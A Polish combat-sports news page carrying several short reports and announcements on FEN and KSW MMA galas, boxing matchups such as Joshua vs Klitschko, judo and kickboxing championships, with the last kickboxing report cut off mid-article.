Łebkowski, Naruszczka i Szreder na gali FEN 16 na Torwarze

Niepokonany od blisko czterech lat Kamil Łebkowski, kroczący od zwycięstwa do zwycięstwa Marcin Naruszczka i jeden z największych showmanów federacji Marcin Szreder – to kolejni zawodnicy dopisani do karty walk gali FEN 16, która odbędzie się 11 marca na Torwarze w Warszawie.

Walka Kamila Łebkowskiego (15-4), który w Fight Exclusive Night debiutował podczas FEN 13 Summer Edition, nie dając żadnych szans byłemu zawodnikowi UFC Piotrowi Hallmannowi, będzie main eventem gali w Warszawie. Z kim „Bomba”, zaliczany do ścisłej czołówki wagi piórkowej w Polsce, powalczy o jedenaste zwycięstwo z rzędu? Tego jeszcze nie wiadomo – nazwisko jego rywala poznamy najwcześniej na początku przyszłego roku.

Podczas stołecznej gali kibiców czeka także pojedynek z udziałem będącego w świetnej formie Marcina Naruszczki (17-5-1), który od października 2015 roku wygrał 5 walk z rzędu, pokonując m.in. Rafała Haratyka i Matta Horwicha. Po raz trzeci w klatkoringu FEN wystąpi też weteran K-1 Marcin Szreder (4-1), który w poprzednich walkach – obu na pełnym dystansie – pewnie wygrał z Aytakiem Yahsim i minimalnie przegrał z Arturem Bizewskim.

Wcześniej włodarze Fight Exclusive Night zdradzili, że na Torwarze wystąpią aktualni mistrzowie organizacji w formule MMA – Francuz Davy Gallon (15-5-2), posiadacz pasa w kategorii półśredniej, oraz Przemysław Mysiala (20-9-1), zdobywca tytułu w wadze półciężkiej. Zaplanowane zostały też walki z udziałem byłego fightera UFC Pawła Pawlaka (11-3) oraz Pawła Żelazowskiego (9-2), który na poprzednich galach FEN odniósł dwa efektowne zwycięstwa przed czasem.

Gala FEN 16 to drugie wydarzenie Fight Exclusive Night w Warszawie. Poprzednie, stojące na bardzo wysokim poziomie zawody federacja zorganizowała w tej samej stołecznej hali w marcu tego roku, wypełniając trybuny do ostatniego miejsca. Sądząc po już ogłoszonych nazwiskach, wiosną 2017 roku kibiców MMA i K-1 czeka na Torwarze równie emocjonujące widowisko.

Sprzedaż biletów na galę FEN 16 za pośrednictwem serwisów Eventim.pl i KupBilet.pl rozpocznie się już w najbliższych dniach.

FEN

Wojownicy wejdą na arenę

Mroźna aura sprawia, że poszukujemy źródeł ciepła. Z pewnością mistrzostwa Polski w kickboxingu w formule oriental rules w Starachowicach rozgrzeją wszystkich kibiców do czerwoności. Impreza odbędzie się w dniach 9-11 grudnia. Transmisję na żywo będzie można śledzić w telewizji FighTime. Zapraszamy!

Oriental rules, czyli efektowne kopnięcia, uderzenia łokciami i kolanami oraz ogromna siła. Takie widowisko musi przyciągać i budzić ciekawość. Wszyscy czekają na efektowne pojedynki.

Coraz więcej chętnych

Hala miejska przy ul. Jana Pawła 22 w Starachowicach czeka już na zawodników. Rejestracja ruszy w piątek (9 grudnia) o godz. 16.00, a walki eliminacyjne zaplanowano na sobotę (10 grudnia). Początek o godz. 9.00. Zapowiada się cały dzień z oriental rules, a decydujące rozstrzygnięcia zapadną w niedzielę. Wtedy odbędą się półfinały i finały.

Starachowice ponownie będą gospodarzem mistrzostw Polski w oriental rules. W zeszłym roku w imprezie wystąpiło ponad 80 zawodników i zawodniczek. Tym razem należy się spodziewać 131 wojowników. Warto dodać, że 14 zawodników wystartuje w zmaganiach kick-light amatorów. W oriental rules do walki o medale szykuje się 117 osób, w tym 12 kobiet. Wychodzi na to, że rok temu Starachowice dobrze wywiązały się z organizacji mistrzostw i teraz zbierają tego owoce. – To kolejna impreza, za którą odpowiadamy. Po raz drugi przygotowujemy mistrzostwa Polski oriental rules. Robimy wszystko, żeby impreza była udana i stała na wysokim poziomie sportowym – mówi FighTime.pl Marek Jasiński, trener Dragona Starachowice i organizator imprezy. – Fakt, że do udziału zgłosiło się więcej zawodników niż rok temu jest dowodem na zwiększenie zainteresowania – dodaje.

Wiadomo, że dla kibiców liczą się przede wszystkim widowiskowe walki. O poziom sportowy zadbają zawodnicy z czołowych polskich klubów. Najwięcej przedstawicieli wystawi Dragon Starachowice – 10. Akademia Sportów Walki Knockout Zielona Góra będzie pośle do boju 8 zawodników, a KGHM Metraco Armia Polkowice oraz Husaria Drutex Słupsk po 7. Drugą stroną medalu jest organizacja imprezy, która ma stać na wysokim poziomie. – Robimy wszystko, żeby wyglądało to jak najlepiej. Postawiliśmy na dobrą promocję. Mimo, że są to zawody amatorskie, będą wyglądały profesjonalnie. Pojawi się rampa oświetleniowa, a mistrzostwa będą transmitowane w telewizji – wyjaśnia Jasiński.

Na co liczy gospodarz?

W starachowickiej hali trwają ostatnie przygotowania. Organizatorzy chcą, żeby wszystko było dopięte na ostatni guzik. Z kolei zawodnicy Dragona Starachowice skupiają się i przygotowują do rywalizacji. Jaki wynik będzie satysfakcjonujący? – Jeśli wywalczymy 4-5 medali, uznam to za satysfakcjonujący wynik – przedstawia trener starachowickiego teamu.

KM

Dogadali się! W kwietniu Joshua vs Kliczko

To wisiało w powietrzu i w końcu stało się faktem. Anthony Joshua zmierzy się z Władimirem Kliczko na stadionie Wembley. Walkę zaplanowano na 29 kwietnia.

Spotkają się dwa bokserskie światy, które dzieli wiele. Joshua i Kliczko mają zupełnie różne doświadczenia, są na różnych etapach przygody z ringiem. Jedno jest pewne: obaj się klasowymi pięściarzami.

Show bez show

Mistrzowska walka w kategorii królewskiej jest ogromnym wydarzeniem. W tym przypadku spotkają się bokserzy, dla których ważny jest ring. Przez lata Władimir Kliczko zapracował na miano zrównoważonego, spokojnego, pewnego siebie, a przede wszystkim w pełni profesjonalnego pięściarza. Bez wątpienia jego dorobek mówi sam za siebie, jednak Ukrainiec ma klasę i potrafi podejść z szacunkiem do każdego rywala. Jest twardy, więc nie wzruszają go żadne prowokacje ze strony rywali. O Kliczko można mówić wiele i w samych superlatywach, choć stracił swój dorobek w starciu z Tysonem Fury'm. Mimo to, trzeba Ukraińcowi oddać, że przez dziesięć lat nie znalazł pogromcy i zdominował wagę ciężką.

Wydaje się, że z lepszej pozycji startuje Anthony Joshua. Świat leży u jego stóp i tylko od niego zależy, czy wykorzysta swoją szansę. Doświadczenia ostatnich miesięcy pokazują, że nie wszyscy są w stanie poradzić sobie z sukcesem. Mowa oczywiście o Fury'm, który zrzekł się pasów WBO i WBA, czym otworzył furtkę do nowego rozdania w kategorii królewskiej. 

Na szczycie stopniowo przebija się Joshua. Brytyjczyk coraz częściej zaczął się pojawiać na ustach komentatorów, bo odprawiał kolejnych bokserów z kwitkiem. Jeszcze nigdy nie walczył na pełnym dystansie. Początkowo patrzono na niego z przymrużeniem oka. Walczył u siebie, wygrywał z mało znanymi rywalami, ale położył Raphaela Zumbano Love i w końcu Kevina Johnsona. Dostał szansę walki o pas IBF i szybko odprawił Charlesa Martina. Młodość, siła, fantazja i co najważniejsze – głowa na właściwym miejscu. Nie widać, aby myśli 27-latka zaprzątało coś innego niż boks.

Emocje czy szachy?

Na stadionie Wembley legenda boksu spotka się ze wschodzącą gwiazdą i ogromnym talentem. Nie będzie zbędych pyskówek i utarczek. W tym przypadku chodzi o walkę i sportowe emocje, choć w ringu można spodziewać się również partii szachów. Jeśli Kliczko przegra, będzie to sygnał, że jego czas dobiega końca. Triumf Joshuy będzie jego sukcesem i potwierdzeniem aspiracji, a po porażce będzie miał czas, żeby się odkuć.

Najpierw Molina

Ukrainiec z utęsknieniem czeka na najbliższą walkę. Po raz ostatni zaprezentował się ponad rok temu, kiedy stracił pasy. 

10 grudnia w Manchesterze Joshua musi pokonać Erica Molinę. Będzie to jego osiemnasta walka w karierze. Porażka 27-latka mogłaby pokrzyżować plany, jednak nikt nie zakłada takiego scenariusza. Obozy obu pięściarzy porozumiały się, co do pojedynku, który ma odbyć się 29 kwietnia na stadionie Wembley. Czy trybuny oszaleją?

KM

Szwarnowiecki tuż za podium

Damian Szwarnowiecki był o krok od wywalczenia brązowego medalu podczas turnieju Jigoro Kano Grand Slam w judo. W decydującej walce lepszy od Polaka okazał się reprezentant Rosji Aslan Lappinagov.

Turniej w Tokio wieńczą tegoroczne zmagania. Zawodnik Gwardii Wrocław, choć nie pojechał na Igrzyska Olimpijskie do Rio de Janeiro,  może być zadowolony ze swojej postawy.

Zmiana kategorii

Jesienne występy Szwarnowiecki rozpoczął w wyższej kategorii wagowej – 81kg. Premierowy występ okazał się niezwykle udany dla polskiego judoki, który we wrześniowym Pucharze Europy w Tallinie zajął trzecie miejsce. Sukces powtórzył w kolejnym starcie. Turniej Grand Prix w Zagrzebiu układał się po myśli Szwarnowieckiego, który wygrał trzy walki, jednak w czwartej lepiej dysponowany okazał się Laszlo Csoknyai. 22-latek z Wrocławia poradził sobie w repasażach, a w starciu o brąz spotkał się z Jakubem Kubieńcem. Brąz dla Szwarnowieckiego.

Dyspozycja Polaka pozwała mieć nadzieję na kolejne dobre występy. Blisko 23-letni judoka pojechał do Tokio na prestiżowe zawody Grand Slam. Trzeci start po zmianie kategorii wagowej rozpoczął się dla Polaka obiecująco. W pierwszym starciu spotkał się z Seidai Sato i wygrał przez yuko. Kolejnym rywalem Szwarnowieckiego był trzeci zawodnik Grand Prix Ułan Bator Hui-Jung Lee. Koreańczyk nie potrafił przeciwstawić się Polakowi, który triumfował przez waza-ari. Niespełna 23-latek szedł po trzeci medal z rzędu, jednak na jego drodze stanął Dominic Ressel. Polak miał już na swoim koncie waza ari, jednak Niemiec przeprowadził decydującą akcję i wygrał przez ippon.

W starciu o brąz Szwarnowiecki spotkał się z Aslanem Lappinagovem. Obaj panowie stali razem na podium w Zagrzebiu, gdzie Rosjanin także zdobył brąz. Powtórki w Tokio być nie mogło, bo los skojarzył Szwarnowieckiego i Lappinagova w bezpośrednim starciu o miejsce na podium. Rosjanin rozstrzygnął pojedynek po upływie półtorej minuty, Polak na piątym miejscu.

Wyjątkowy rok

Damian Szwarnowiecki ma za sobą bardzo dobry rok. Wydawało się, że pojedzie do Rio de Janeiro. Był na liście europejskiej, jednak w ostatniej chwili miejsce zdobyła Arleta Podolak (57kg), co sprawiło, że Szwarnowiecki został w domu. Judoka Gwardii Wrocław wziął udział w mistrzostwach Europy w Kazaniu, jednak z rywalizacją pożegnał się już w drugiej rundzie.

Mimo to, niespełna 23-latek osiągnął najlepsze wyniki w karierze. W kwietniu, jeszcze w kategorii 73kg, wygrał turniej Grand Prix w Samsun. Jesiennymi występami Szwarnowiecki potwierdził wysoką dyspozycję. W tym roku 22-latek czterokrotnie stał na podium w międzynarodowych startach.

KM

Rach, ciach i po sprawie

Mariusz Pudzianowski nie pozostawił żadnych złudzeń raperowi „Popkowi”. „Pudzian” szybko uporał się z rywalem i zanotował dziesiąte zwycięstwo w karierze. Warto dodać, że KSW ma dwóch nowych mistrzów.

Gala KSW 37 „Circus of Pain” zostanie zapamiętana ze względu na starcie Pudzianowskiego z Mikołajuwem. Powrót „Popka” do MMA okazał się nieudany, z kolei „Pudzian” po dwóch porażkach, posmakował zwycięstwa.

Szybka robota

Raper zna smak rywalizacji w MMA, ale po raz ostatni walczył w… 2008 roku. Pudzianowski walczy regularnie i zbiera coraz lepsze recenzje. Potężny cios byłego mistrza świata w zawodach strongman jest postrachem dla kolejnych rywali. O tym, że „Pudzian” ma „parę w łapie” przekonał się Rolles Gracie, który po trzydziestu sekundach zakończył występ na KSW 31.

Starcie Pudzianowskiego i Mikołajuwa działo na wyobraźnię. Pojedynek miał być magnesem, który wzbudzi zainteresowanie galą i spełnił swoją rolę. „Popek” to postać kontrowersyjna, przez co skupia na sobie uwagę i wiele osób śledzi każdy jego ruch. W tym przypadku poziom sportowy stał pod sporym znakiem zapytania. 

Bohaterowie widowiska nie zamierzali czekać i szybko doszło do wymiany. Mikołajuw trafił prawym i Pudzianowski przysiadł, ale szybko podrażniony ruszył na rywala. Potężny cios i „Popek” wylądował na deskach, ale na tym nie koniec. „Pudzian” chciał przypieczętować triumf i zasypał rywala kolejnymi „cepami”. Sędzia przerwał jego natarcie i zakończył walkę, która trwała niecałe półtorej minuty. Dziesiąty triumf w karierze Pudzianowskiego stał się faktem.

Zmiana mistrzów

Fernando Rodrigues Jr. udowodnił, że jest groźny i potrafi rozstrzygać walki przed czasem. Pierwsza wizyta w Polsce zakończona wywalczeniem pasa w kategorii ciężkiej. Karol Bedorf, który wygrał osiem kolejnych walk na KSW, po ponad trzech lat traci tytuł. Polak dotrwał do drugiej rundy, w której Brazylijczyk wyprowadzał mnóstwo ciosów. W końcu Bedorf padł na deski, a Rodrigues dokończył dzieło.

Marcin Wrzosek nowym królem kategorii piórkowej! Artur Sowiński okazał się bezradny wobec natarcia 29-latka z Bydgoszczy, który w drugiej rundzie zdecydowanie ruszył do przodu. Wrzosek szybko posłał „Kornika” na deski i dosłownie zasypał go ciosami. Trafiał Sowińskiego raz po raz i w końcu sędzia przerwał walkę. „Kornik” musiał oddać pas Wrzoskowi, który zanotował drugą wygraną podczas występów dla KSW.

Wszyscy czekali na powrót Borysa Mańkowskiego, który nadal pozostaje na czele wagi półśredniej. „Diabeł Tasmański” nie walczył od występu na Wembley, gdzie rozprawił się z Jesse'm Taylorem. Potem kontuzja kostki i ogromny głód rywalizacji. W starciu z Johnem Maguire, Mańkowski pokazał mistrzowską klasę. Pierwsza runda to dominacja Polaka w stójce, druga w parterze, w trzeciej szukał poddania. Maguire wytrzymał pełen dystans, jednak nie było wątpliwości, kto zapisze na swoim koncie zwycięstwo. Udany powrót Mańkowskiego, w którym pokazał wszechstronne umiejętności.

Bezlitosny Francuz, mocny Wójcik

Mansour Barnaoui lepszy od Łukasza Chlewickiego, który już w pierwszej rundzie nie był w stanie kontynuować walki. Zabójcze okazały się łokcie Francuza. Lekarz stwierdził, że 37-letni „Sasza” nie nadaje się do dalszej rywalizacji. Barnaoui rozbił twarz Polaka, na której pojawiła się krew. Szybko, pewnie i skutecznie! Marcin Wójcik nie pozwolił Marcinowi Łazarzowi na zbyt wiele. 27-latek panował nad sytuacją, wyczuł moment i złapał rywala za głowę, po czym zapiął gilotynę. Trzecia walka  na KSW i trzecie zwycięstwo. Czy Tomasz Narkun, mistrz wagi półciężkiej, ma się bać? 

Denilson Neves de Oliveira pokazał się z dobrej strony w starciu z Patrykiem Wolańskim. Brazylijczyk był aktywny, kopał, próbował licznych kombinacji. Wolański musiał do samego końca walczyć o zwycięstwo, jednak Denilson nie zamierzał ułatwiać mu zadania. Werdykt sędziów wzbudził kontrowersje. Niejednogłośnie na punkty wygrał Wolański, dla którego była to pierwsza wygrana na KSW. W maju przegrał z Marcinem Wrzoskiem.

David Zawada wykorzystał szansę, którą otrzymał w ostatniej chwili. Jego starcie z Robertem Radomskim pojawiło się w miejsce pojedynku Macieja Jewtuszki z Yasubeyem Enomoto ze względu na problemy zdrowotne popularnego „Irokeza”. Zawada polował na pierwszą wygraną w KSW. Na swoim koncie zapisał porażki z Borysem Mańkowskim i Kamilem Szymuszowskim. Cierpliwość popłaca, a i powiedzenie „do trzech razy sztuka” ma rację bytu. W drugiej rundzie 26-latek zasypał Radomskiego ciosami i sędzia zmuszony był przerwać walkę. 

Z dobrej strony pokazali się debiutanci, jednak w lepszym nastroju pojedynek kończył Roman Szymański. Co prawda, Sebastian Romanowski w drugiej rundzie trafił rywala i posłał go na deski, ale nie wykorzystał okazji. W końcówce trzeciej odsłony Szymański zdobył dosiad, znalazł się za plecami przeciwnika i złapał duszenie. 

KM

Matt Horwich vs Filip Tomczak na FEN 15 Final Strike

Matt Horwich, były zawodnik organizacji UFC i Bellator i jedna z najbarwniejszych postaci światowego MMA, już 14 stycznia wystąpi w klatkoringu Fight Exclusive Night! Na gali FEN 15 Final Strike w Lubinie Amerykanin zmierzy się z młodym wilkiem polskiego MMA – niepokonanym na zawodowym ringu Filipem Tomczakiem.

Matt „Suave” Horwich należy do najbardziej rozpoznawalnych wojowników MMA. 38-letni weteran, który występował na arenach najważniejszych światowych organizacji, ma na koncie ponad 50 zawodowych walk, z których ponad połowę wygrał.  Poza UFC i Bellatorem walczył m.in. dla nieistniejących już Strikforce oraz International Fight League, w 2007 roku zdobywając pas IFL  i zajmując  1. miejsce w IFL World Grand Prix. Zjednał sobie sympatię kibiców MMA przede wszystkim bardzo twardą, nieustępliwą postawy w ringu – zazwyczaj zwycięża przed czasem, a jeśli przegrywa, to po decyzjach sędziowskich.  Często opisywany jest jako największy hipis w MMA, który chętnie opowiada o swojej głębokiej wierze w Boga, zamiłowaniu do poezji i muzyki oraz fascynacji mechaniką kwantową.

Matt Horwich kilkukrotnie walczył w Polsce, m.in. na galach KSW, na których pokonał Antoniego Chmielewskiego i Terry’ego Martina. Ostatnią swoją walkę również stoczył nad Wisłą – miesiąc temu na gali PLMMA 70 przegrał starcie o pas wagi średniej z będącym ostatnio w rewelacyjnej formie Marcinem Naruszczką.

Na gali FEN 15 naprzeciwko Amerykanina stanie obiecujący reprezentant młodego pokolenia Filip Tomczak. 25-letni fighter MMA Devil Fight Club Poznań świetnie rozpoczął swoją zawodową karierę, odnosząc komplet zwycięstw w czterech stoczonych dotychczas walkach, trzykrotnie poddając rywali w pierwszych rundach. Żaden z jego przeciwników nie może się jednak równać umiejętnościami i doświadczeniem z Horwichem, więc walka na gali FEN 15 będzie dla Tomczaka prawdziwym testem sportowej dojrzałości.

Wydarzeniem FEN 15 Final Strike będą dwa pojedynki o pasy mistrzowskie w formule K-1 – w walce wieczoru zmierzą się Paweł Biszczak i Wojciech Wierzbicki, a w drugim starciu o pierwszy kobiecy tytuł w historii federacji FEN walczyć będzie Róża Gumienna. W innych walkach na zasadach MMA podczas gali wystąpią m.in. Marcin Zontek, Adam Golonkiewicz, Michał Michalski, Kamil Gniadek, Mateusz Głąb oraz Michał Miłek.

Bilety na styczniową galę FEN 15 w Lubinie można kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

Więcej informacji o gali FEN 15 na bieżąco na fanpage’u FEN na Facebooku.

FEN

Oświadczenie zarządu FEN ws. walki Romana Szymańskiego poza federacją

W odpowiedzi na opublikowane wczoraj informacje prasowe zawierające zapowiedź walki Romana Szymańskiego poza federacją Fight Exclusive Night prezentujemy stanowisko zarządu naszej organizacji w tej sprawie.

„W związku z wczorajszymi doniesieniami medialnymi dotyczącymi planowanego uczestnictwa Romana Szymańskiego w charakterze zawodnika w wydarzeniu sportowym KSW 37 oświadczamy, iż Roman Szymański jest zawodnikiem Fight Exclusive Night i jego udział w walkach dla innej organizacji będzie rażącym naruszeniem postanowień kontraktu zawartego z naszą federacją, ze wszelkimi konsekwencjami prawno-finansowymi wynikającymi z jego zapisów.

Zarząd federacji Fight Exclusive Night” FEN

Czy skradną show?

Show must go on – słowa piosenki zespołu Queen pobrzmiewają silnie w uszach włodarzy KSW. Ci starają się zapewnić publiczności widowiska najwyższych lotów. Gala KSW 37 ma być popisem Mariusz Pudzianowskiego i Pawła Mikołajuwa, czyli popularnego „Popka”. Wydaje się, że pozostali zawodnicy będą tłem dla rywalizacji dwóch wspomnianych panów.

Trzy mistrzowskie walki uświetnią sobotni wieczór w krakowskiej Ergo Arenie. Jednak żadna z nich nie wzbudza takiego zainteresowania jak starcie „Pudziana” z „Popkiem”. Dlaczego? Kontrowersyjne postaci przyciągają, a do takich z pewnością należy 38-letni raper.

Magnes

Siedem lat temu w KSW debiutował Mariusz Pudzianowski. Wszyscy kojarzyli „Pudziana” ze spacerem farmera czy przeciąganiem samochodów ciężarowych. W rywalizacji strongmanów wszedł na poziom mistrzowski, zdobył wszystkie najważniejsze laury i zyskał ogromną popularność. Zakontraktowanie Pudzianowskiego przez KSW sprawiło, że znaczna część społeczeństwa chciała go zobaczyć w akcji w ringu. Zainteresowani czekali na to, co wydarzy się na warszawskim Torwarze. „Pudzian” w 43 sekundy rozprawił się z Marcinem Najmanem, a KSW stała się rozpoznawalną marką w całej Polsce.

Magnes w postaci Pudzianowskiego cały czas budzi zainteresowanie. Choć w najbliższej walce na KSW 37 były strongman znajdzie się w cieniu Pawła Mikołajuwa. Nieważne, jaki będzie rezultat, pierwszoplanową postacią będzie „Popek”. Wszystko przez jego kontrowersyjny styl bycia, dużą liczbę tatuaży czy skaryfikację twarzy. O nim się mówi, on przyciąga uwagę i nakręca zainteresowanie krakowską galą.

„Popek” nie jest żółtodziobem w MMA, jednak ostatnią walkę stoczył ponad osiem lat temu. Łącznie ma ich na koncie trzy, w tym dwie wygrane. Wszystkie stoczył w Wielkiej Brytanii. Raper ponownie wchodzi do świata MMA i nie będzie miał łatwo. Jego rywal stoczył już 14 walk i przez siedem lat wiele się nauczył. Pudzianowski przegrał dwie ostatnie walki, ale nadal w pamięci kibiców pozostaje jego ostatnie zwycięskie starcie. W maju 2015 roku znokautował Rollesa Gracie po niecałych 30 sekundach rywalizacji, czym pokazał, że stać go na efektowne akcje.

Wszyscy zacierają ręce na pojedynek „Pudziana” z „Popkiem”. Magnes działa. Od samego początku scenariusz trzyma w ogromnym napięciu. Trzeba przypomnieć, że podczas wrześniowej konferencji raper został zatrzymany przez policję. Sytuacja okazała się… wyreżyserowana, ale cała Polska usłyszała o gali i o walce. Zaczęło się od mocnego uderzenia, czy będzie tak do samego końca? Pesymiści podkreślają, że z „wielkiej chmury, mały deszcz”. Przydałoby się, żeby show pozaringowe przeniosło się na arenę. O tym przekonany się już 3 grudnia.

Mistrzowie

Po raz czwarty tytułu w wadze ciężkiej będzie bronił Karol Bedorf. Dwa ostatnie starcia 33-latek wygrał przed czasem. Na KSW 37 atak na Bedorfa przeprowadzi Fernando Rodrigues Jr., który ma na swoim koncie pojedynki w Brazylii i Japonii. W ostatnim starciu po raz pierwszy walczył w Europie. 29-letni Brazylijczyk wystąpił w Finlandii i w pierwszej rundzie pokonał Yosefa Ali Mohammada. Rodrigues Jr. to zawodnik, który szybko kończy swoje walki. Aż siedem z dziesięciu pojedynków wygrał przez nokaut.

Po ponad roku przerwy wraca mistrz wagi półśredniej Borys Mańkowski. „Diabeł Tasmański” przeszedł długą drogę, aby wejść na szczyt. W grudniu 2012 roku przegrał walkę mistrzowską z Aslambekiem Saidovem, jednak po upływie półtora roku sięgnął po tytuł. Trzy razy skutecznie bronił pasa. W Krakowie Mańkowski zmierzy się z Johnem Maguire. 33-letni Anglik wygrał pięć ostatnich walk, ma za sobą występy w UFC.

Artur Sowiński w obronie pasa mistrzowskiego w wadze piórkowej zmierzy się z Marcinem Wrzoskiem. Panowie nie ukrywają, że za sobą nie przepadają. W Krakowie nadarzy się okazja, aby rozwiązali konflikt. „Kornik” nie przegrał od sześciu walk, Wrzosek w ostatniej walce na KSW 35 pokonał Filipa Wolańskiego, a wcześniej przegrał z Julianem Erosą na turnieju UFC Fighter 22.

W związku z ostrym zapaleniem wyrostka i przebytą operacją na gali nie wystąpi Maciej Jewtuszko oraz jego rywal Yasubey Enomoto. Zamiast niech odbędzie się pojedynek Roberta Radomskiego z Davidem Zawada. Na KSW 37 dojdzie do starcia Łukasza Chlewickiego i Mansoura Barnaouiego. Marcin Wójcik zmierzy się z Marcinem Łazarzem, a Filip Wolański z Denilsonem Nevesem de Oliveirą. Galę otworzy starcie młodych Romana Szymańskiego i Sebastiana Romanowskiego.

KM

Kolejne wyzwania

Krzysztof „Diablo” Włodarczyk jest na ostatniej prostej przed kolejną walką. 10 grudnia zmierzy się z Leonem Harthem. Z kolei Andrzej Fonfara będzie chciał odbudować się po niespodziewanej porażce z Joe'm Smithem Jr. W przyszłym roku polski pięściarz spotka się z Chadem Dawsonem.

„Diablo” czeka na kolejny pojedynek, który ma mu pozwolić wrócić do czołówki wagi junior ciężkiej. W przypadku Fonfary wydawało się, że jest na najlepszej drodze, aby walczyć o mistrzostwo świata. Niestety, przytrafiła się porażka i urodzony w Radomiu bokser musi odbudować swoją pozycję.

Hat-trick Włodarczyka

Zapożyczenie z języka piłkarskiego jest jak najbardziej wskazane. 10 grudnia we Wrocławiu Włodarczyk stoczy trzeci pojedynek w tym roku. Po raz ostatni „Diablo” był tak aktywny w 2007 roku, kiedy zaczął od porażki ze Steve'm Cunninghamem, a potem przed czasem wygrał z Dominiquem Alexandrem oraz Moyoyo Mensahem.

Teraz sytuacja wygląda nieco inaczej. W marcu Włodarczyk wrócił po półtorarocznej przerwie i pokonał Valery'ego Brudova. Były mistrz świata WBC wygrał również z Kaiem Kurzawą. Włodarczyk miał ochotę na więcej i szykował się do listopadowego starcia z Nigeryjczykiem Olandrewaju Durodolą. Pojedynek nie doszedł do skutku, bo planowana gala została odwołana. 

Ruszyły poszukiwania kolejnego rywala. Wybór padł na Leona Hartha, który może pochwalić się 14 zwycięstwami na zawodowym ringu. Aż 10 pojedynków Niemiec wygrał przed czasem. 10 grudnia we Wrocławiu spróbuje pokonać Polaka, do którego należy pas IBF Inter-Continental. Włodarczyk w pocie czoła przygotowuje się do starcia. Były mistrz świata sparował m.in. z Michałem Olasiem, Michałem Cieślakiem i Juho Haapoją. Jeszcze jedno trafienie i i „ustrzeli” hat-tricka.

Wrócić do gry

Andrzej Fonfara pokonał Julio Cesara Chaveza Jr i Nathana Cleverly'ego, co przybliżyło go znacznie do ponownego spotkania z Adonisem Stevensonem, z którym przegrał w maju 2014 roku. „Polski Książę” musiał tylko pokonać Joe Smitha Jr. W Chicago doszło do sporej niespodzianki. Fonfara już w pierwszej rundzie wylądował na deskach.

29-latek czeka na kolejną walkę, która pozwoli mu się odbudować. 14 stycznia w Nowym Jorku zmierzy się z Chadem Dawsonem. 34-letni Amerykanin w ostatnim czasie walczy w kratkę, choć wygrał ostatnie dwie walki. Na przestrzeni ostatnich lat przegrywał m.in. z Adonisem Stevensonem i Andre Wardem. Dawson zdobywał tytuły IBF, IBO i WBC w wadze półciężkiej. Swego czasu pokonał Tomasza Adamka. Czy zatrzyma kolejnego Polaka?

Sala treningowa czeka

We wrześniu Krzysztof Głowacki stracił pas WBO kategorii junior ciężkiej na rzecz Oleksandra Usyka. Walka kosztowała boksera z Wałcza wiele zdrowia. Przeszedł operację prawego łokcia, niebawem powinien pojawić się na sali treningowej. 

Kiedy kolejna walka? Trudno wyrokować. Coraz częściej przewija się temat rywalizacji Głowackiego z Mateuszem Masternakiem.

KM

Michał Miłek w rewanżu z Mateuszem Głąbem na FEN 15

Już na gali FEN 15 Final Strike Michał Miłek stanie przed szansą na rewanż za przegraną pół roku temu walkę z Mateuszem Głąbem. Do rozstrzygnięcia pierwszego starcia tych młodych fighterów potrzebna była dogrywka, 14 stycznia w lubińskiej hali RCS można więc spodziewać się bardzo emocjonującego pojedynku!

Michał Miłek i Mateusz Głąb po raz pierwszy w klatkoringu Fight Exclusive Night spotkali się podczas majowej gali FEN 12 Feel The Force we wrocławskiej Hali Stulecia. Przy głośnym dopingu miejscowych kibiców po niezwykle zaciętej walce decyzją sędziów wygrał reprezentant WroX Gym Wrocław. Na FEN 15 Final Strike przed własną publicznością walczyć będzie jednak zawodnik Streffa Fight Team Lubin, więc przy tak wyrównanym poziomie obu fighterów mocne wsparcie z trybun tym razem jego może ponieść do zwycięstwa.

Dla obu tych utalentowanych i walecznych wojowników MMA kategorii lekkiej będzie to trzeci występ w Fight Exclusive Night. Nieco wcześniej w federacji debiutował Mateusz Głąb, zdobywca Pucharu Świata i multimedalista Pucharu Europy w taekwondo – w walce otwierającej galę FEN 10 Gold Edition w Lubinie trójkątem nogami w 3. rundzie zmusił do poddania Pawła Kordylewicza. Michał Miłek po raz pierwszy walczył na gali FEN 11 Warsaw Time, przez balachę w 3. rundzie pokonując faworyzowanego Alana Kwiecińskiego.

Zarówno Mateusz Głąb, jak i Michał Miłek stoczyli dotychczas trzy zawodowe walki. Lepszy bilans ma wrocławianin, który do dwóch wygranych w FEN dopisał niedawno spektakularne zwycięstwo na gali Celtic Gladiator 9 w Londynie, gdzie w zaledwie 21 sekund pokonał Anglika Steve’a McDonalda. Rekord fightera z Lubina jest na razie ujemny, ale warto przypomnieć, że Miłek debiutował w kategorii wyższej niż jego naturalna waga, biorąc w ostatniej chwili zastępstwo w walce z Jackiem Jędraszczykiem, a mimo to przegrał minimalnie, niejednomyślną decyzją sędziów.

W innych walkach na zasadach MMA podczas gali FEN 15 wystąpią m.in. Marcin Zontek, Adam Golonkiewicz, Michał Michalski i Kamil Gniadek. Kibiców czekają także walki o pasy mistrzowskie w formule K-1 z udziałem Pawła Biszczaka, Wojciecha Wierzbickiego i Róży Gumiennej.

Bilety na styczniową galę FEN 15 w Lubinie można kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

Więcej informacji o gali FEN 15 na bieżąco na fanpage’u FEN na Facebooku.

FEN

Pozostał niedosyt

Dorota Godzina wraca z mistrzostw Europy w kickboxingu w Loutraki z brązowym medalem w full contact. Utytułowana zawodniczka liczyła na więcej.

„Dziewczyny lubią brąz” – w tym przypadku Ryszard Rynkowski się pomylił. Z pewnością zajęcie trzeciego miejsca na mistrzostwach Europy należy rozpatrywać w kategorii sukcesu, jednak Dorota Godzina wyżej zawiesiła sobie poprzeczkę. Po półfinałowej walce była zła na sędziów.

Kontrowersyjny werdykt

Ćwierćfinał europejskiego czempionatu poszedł po myśli zawodniczki X Fight Piaseczno, choć podczas walki z Savviną Vatistą nie obyło się bez problemów. Polka… ślizgała się na ringu. Greczynka nie zagroziła jednak Godzinie, która pewnie wygrała 3:0. 

